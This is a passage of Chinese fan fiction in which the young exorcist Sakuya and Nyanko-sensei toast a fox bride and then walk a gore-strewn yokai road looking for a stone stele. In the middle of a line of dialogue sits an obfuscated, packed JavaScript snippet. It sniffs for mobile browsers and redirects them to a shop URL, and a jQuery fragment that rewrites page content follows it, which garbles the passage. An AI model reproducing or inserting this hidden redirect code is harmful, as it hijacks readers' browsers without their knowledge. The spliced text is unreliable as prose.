就在朔也紧绷着神经,准备随时念诵真言的时候,狐狸新娘移开视线,看向步辇旁跟着的一只打扮华丽的狐妖。 那只狐妖恭敬地低下头,然后端着一个托盘走了过来。 朔也紧紧地拽着猫咪老师的尾巴。 少见的靠谱版猫咪老师端坐在朔也身前,盯着走近的狐妖。 狐妖大概是感受到了猫咪老师无声的威胁,它在几步外停下,鞠躬道:“乙橘姬大人觉得与你家主人有缘,特以此酒相请。” 咦?这是什么状况? 朔也惊讶又疑惑,他看了看狐妖,又看向猫咪老师。 猫咪老师转头看着他微微点头,低声提醒道:“喝酒,写下祝辞。” 朔也稍稍松了口气,看来这应该不是什么坏事。 他放开猫咪老师的尾巴,慢慢走到狐妖面前。 狐妖裂开嘴,露出诡异的微笑,手上的动作却很恭敬,将托盘稳稳地递到朔也身前。 托盘的一边放着一只小巧精致的银色酒盏,里面盛着淡粉色的液体,正散发出奇异的香气。另一边则放着精致的毛笔和花笺。 虽然对妖怪的酒抱有疑虑,但朔也还是按照猫咪老师提醒的那样,端起了酒盏。 他看向步辇上的狐狸新娘,对方也正看着他。 狐狸新娘穿着一尘不染的白无垢,脸被一把折扇遮住,只漏出一双眼睛,这是一双属于狐狸的眼睛,从人的感知角度来说,有着属于兽类的冰冷,但朔也没有从这双眼里感觉到恶意。 于是朔也冲它举起酒盏,颔首示意,狐狸新娘也微微低头回礼。 一盏酒不算多,朔也两三口就喝完了,因为心神一直绷着,第一次喝酒的他都没尝出什么味道。 放下酒盏,朔也拿起一旁的毛笔,对着花笺有点发愁,他只写过的场家新年贺卡上的祝辞,婚礼的祝辞还没写过呢。 但狐妖的花笺都摆在他面前了,硬着头皮也得胡诌两句。 说是胡诌,但当真的下笔时,朔也的脑海里莫名浮现出一句祝辞。 「愿此月辉,永映双影。」 看了看花笺上的字,朔也不再纠结,放回毛笔。 “感谢招待。” 狐妖捧着托盘很是高兴,鞠躬道:“多谢大人!” 朔也看着狐妖回到队伍里,然后队伍又如刚才那样行进起来。 “喂,小鬼,快走!”猫咪老师的尾巴扫了扫朔也, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17031876|189987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 催促道。 朔也瞥见附近的妖怪频频投向他的眼神,有好奇的、嫉妒的,更有些带着毫不掩饰的恶意,他顿时明白过来,再次拽住猫咪老师的尾巴,快速地穿过拥挤的妖群。 走了一段路,似乎是过了比较热闹的那段路,行道上的妖怪渐渐地少了起来,之后更是只有零星一两个妖怪了。 有了之前热闹的对比,这样的行道透露出格外幽深的荒凉和危险,朔也心里很是不安。 就在这样不知为何越来越强烈的不安中,一人一妖抵达了一处很特别的地方,宽度原本有限的行道在这里突然延伸出一块平整的地面,因为没有任何标识,似乎往哪个方向走可以。 但随意乱走肯定是不行的,之前的“蝴蝶”早已消散,朔也于是又召唤了一只,蝴蝶在原地停顿了一会儿,终于选定了一个方向。 朔也稍稍松了口气,和猫咪老师跟了上去。 * 不知道又走了多久,朔也抬头看向夜空中的月亮,他总觉得圆月边缘已经开始泛出微微的红色。 这样的月相像是开启了某种不详的预兆,猫咪老师突然止住步子,警惕地看向前方。 “怎么了?”朔也刚问完,就闻到了一股怪异的腥气,“这是……” “妖血,而且不少。” 猫咪老师的声音十分凝重,以它的嗅觉感知,如此浓重的腥味只会出现在发生过残酷杀戮的地方。 朔也皱眉看向前方,视线范围内并没出现什么异常,不过如果继续往前走,将要面临什么就很难说了。 但事已至此,这时候反悔不仅前功尽弃,也只会让自己心有不甘,朔也没有犹豫,说道:“继续往前吧,我们必须找到那块石碑。” 猫咪老师看了他一眼,“小鬼,还挺有气魄嘛。” 在当前这种氛围下,丑猫的阴阳怪气反而让朔也有些安心,他拽了拽对方的尾巴毛,“就算夸我,也不会给你涨薪的。” “嘁!” 猫咪老师感知的没错,当他们又往前走了一段后,道路中逐渐出现了血色的污迹。 这些痕迹最开始只是零星几片,但很快地,几片变成几滩,几滩变成一大片,直至整条道路都被血迹浸透。 当看到眼前这条血色的行道时,头皮发麻的朔也才真的意会到月见先生叮嘱他的那些话,只属于妖怪的道路有着人类难以想象的危险。 朔也不知道自己是怎么适应眼前这种景象的,他紧紧咬着牙,强忍着脚下黏腻的触感带来的恶心感,捂着鼻子往前走。 猫咪老师的步子突然停顿了一下,它转头看了朔也一眼,叮嘱道:“别乱看。” 这确实是好心的提醒,但作用几乎等于没有。 朔也的视线掠过行道上散乱的“肢体”,强烈的呕吐感直冲大脑。 他是除妖师没错,但现在的妖怪早已不能和千百年前的残忍大妖相比,更何况他还只是个尚未成年的少年人,见过的最血腥的画面不过是恐怖片里的场景。 现在突然亲身走入眼前这样如同炼狱一样的场景,朔也没有被吓破胆,甚至能忍住不吐,已经十分难得。 不过也可能是这种场景昭示的极大危险,让朔也不敢沉浸在恐惧里。 他全身心地戒备着,本就敏锐的感知似乎又放大了数倍,这让他总觉得有什么东西正在窥视着他和丑猫。 而在戒备的同时,朔也还得努力搜寻不知道具体在哪儿的石碑,据月见先生所说,那个石碑和人类世界的石碑差不多,在这种荒芜的行道上,应该是比较显眼的。 道路上的残肢越来越多,也越来越可怖,那些可怜的妖怪们好像是被什么东西凶残地撕碎的,十分血腥。 这让朔也猜不透做下这一切的“凶手”有什么企图,如果是为了获得力量的话,应该是把这些妖怪吞噬掉才对…… 朔也琢磨着,眼角余光扫过一处,察觉到些许怪异。 他转头定睛看过去,眉头紧紧皱到一起,胃里又开始翻滚。 “丑猫,石碑在这里。”